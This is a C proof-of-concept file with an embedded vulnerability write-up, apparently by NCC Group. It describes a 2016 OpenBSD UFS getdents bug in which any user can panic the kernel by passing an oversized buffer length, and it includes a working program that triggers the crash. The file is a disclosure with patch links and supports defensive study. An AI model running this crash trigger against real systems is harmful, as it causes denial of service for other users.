/*
* ufs_getdents_panic.c
* Demonstrate a panic in UFS through the getdents system call.
*
* gcc -g ufs_getdents_panic.c -o ufs_getdents_panic
*/
#ifdef BUG_WRITEUP //---------------------------------------------------
Any user can panic the kernel with the getdents call with a large buffer size
Impact:
Any user can panic the kernel
if
they can access any directories
of a UFS filesystem.
Description:
When processing the getdents system call, the UFS filesystem
allocates a buffer with a size provided by the caller. This
size can be any value less than INT_MAX, and need not correspond
to an actual buffer held by the caller. By providing an overly
large size, a caller can trigger a panic
in
the kernel
of
"malloc: allocation too large"
or
"out of space in kmem_map"
.
This issue
is
triggered by an allocation
in
ufs_readdir():
diskbuf = malloc(readcnt, M_TEMP, M_WAITOK);
here readcnt originates with the buffer length to the getdents
call, which was placed
in
the uio_resid field:
count = uio->uio_resid;
entries = (uio->uio_offset + count) & (DIRBLKSIZ - 1);
/* Make sure we don't return partial entries. */
if
(count <= entries)
return
(EINVAL);
/*
* Convert and copy back the on-disk struct direct format to
* the user-space struct dirent format, one entry at a time
*/
/* read from disk, stopping on a block boundary, max 64kB */
readcnt = max(count, 64*1024) - entries;
This condition can be triggered by any user who can read a
directory on a UFS filesystem.
Reproduction:
Run the attached ufs_getdents_panic.c program. It will pass call
getdents with a NULL buffer and a large size, that will trigger
a panic such
as
'panic: malloc: allocation too large, type = 127,
size = 1879048192'. NCC Group was able to reproduce
this
issue
on OpenBSD 5.9 release running amd64.
Recommendation:
Limit the readcnt
in
ufs_readdir() to an ammount that
is
reasonable to allow an allocation
for
.
Reported: 2016-07-12
Fixed: http:
//cvsweb.openbsd.org/cgi-bin/cvsweb/src/sys/ufs/ufs/ufs_vnops.c.diff?r1=1.128&r2=1.129
http:
//ftp.openbsd.org/pub/OpenBSD/patches/5.9/common/015_dirent.patch.sig
http:
//ftp.openbsd.org/pub/OpenBSD/patches/5.8/common/019_dirent.patch.sig
#endif // BUG_WRITEUP ---------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <dirent.h>
void
xperror(
int
cond,
char
*msg)
{
if
(cond) {
perror(msg);
exit(1);
}
}
int
main(
int
argc,
char
**argv)
{
int
fd, x;
fd = open(
"/"
, O_RDONLY);
xperror(fd == -1,
"/"
);
x = getdents(fd, 0, 0x70000000);
xperror(x == -1,
"getdents"
);
printf(
"no crash!\n"
);
return
0;
}